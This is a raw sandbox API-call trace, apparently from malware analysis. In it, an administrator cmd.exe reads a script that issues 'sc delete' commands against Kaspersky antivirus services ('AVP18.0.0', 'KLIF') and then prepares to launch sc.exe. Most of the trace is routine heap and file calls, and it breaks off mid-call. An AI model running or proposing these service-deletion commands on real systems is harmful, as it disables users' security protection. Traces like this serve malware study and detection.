[0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.562] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.562] GetFileType (hFile=0x120) returned 0x3 [0072.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.562] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.563] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.563] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.563] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.563] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.563] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.563] GetFileType (hFile=0x120) returned 0x3 [0072.563] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.563] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] GetFileType (hFile=0xb8) returned 0x3 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="KAVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="LVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="IP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="F18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] GetFileType (hFile=0xb8) returned 0x3 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.566] GetFileType (hFile=0x120) returned 0x3 [0072.566] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete KLIF\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete KLIF\n", lpUsedDefaultChar=0x0) returned 16 [0072.566] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0xf, lpOverlapped=0x0) returned 1 [0072.566] GetProcessHeap () returned 0x4a0000 [0072.566] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.567] GetProcessHeap () returned 0x4a0000 [0072.567] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.567] GetProcessHeap () returned 0x4a0000 [0072.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.567] GetProcessHeap () returned 0x4a0000 [0072.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.567] GetProcessHeap () returned 0x4a0000 [0072.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4b6510 [0072.567] GetConsoleOutputCP () returned 0x1b5 [0072.567] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.567] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.576] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.576] GetProcessHeap () returned 0x4a0000 [0072.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.576] GetProcessHeap () returned 0x4a0000 [0072.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6550 [0072.576] GetProcessHeap () returned 0x4a0000 [0072.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0072.576] SetErrorMode (uMode=0x0) returned 0x1 [0072.576] SetErrorMode (uMode=0x1) returned 0x0 [0072.576] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.577] SetErrorMode (uMode=0x1) returned 0x1 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0072.577] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.577] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.577] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.577] GetProcessHeap () returned 0x4a0000 [0072.577] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.577] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.578] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.578] GetLastError () returned 0x2 [0072.578] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.578] GetLastError () returned 0x2 [0072.578] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.579] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.579] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.579] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.579] GetLastError () returned 0x2 [0072.579] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.579] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.579] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.579] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.580] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.580] GetProcessHeap () returned 0x4a0000 [0072.580] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.580] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.580] GetProcessHeap () returned 0x4a0000 [0072.580] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x96) returned 0x4b9180 [0072.580] GetProcessHeap () returned 0x4a0000 [0072.580] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x96 [0072.580] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete KLIF") returned 1 [0072.581] GetProcessHeap () returned 0x4a0000 [0072.581] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.581] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.581] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.581] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.581] GetProcessHeap () returned 0x4a0000 [0072.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.581] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", 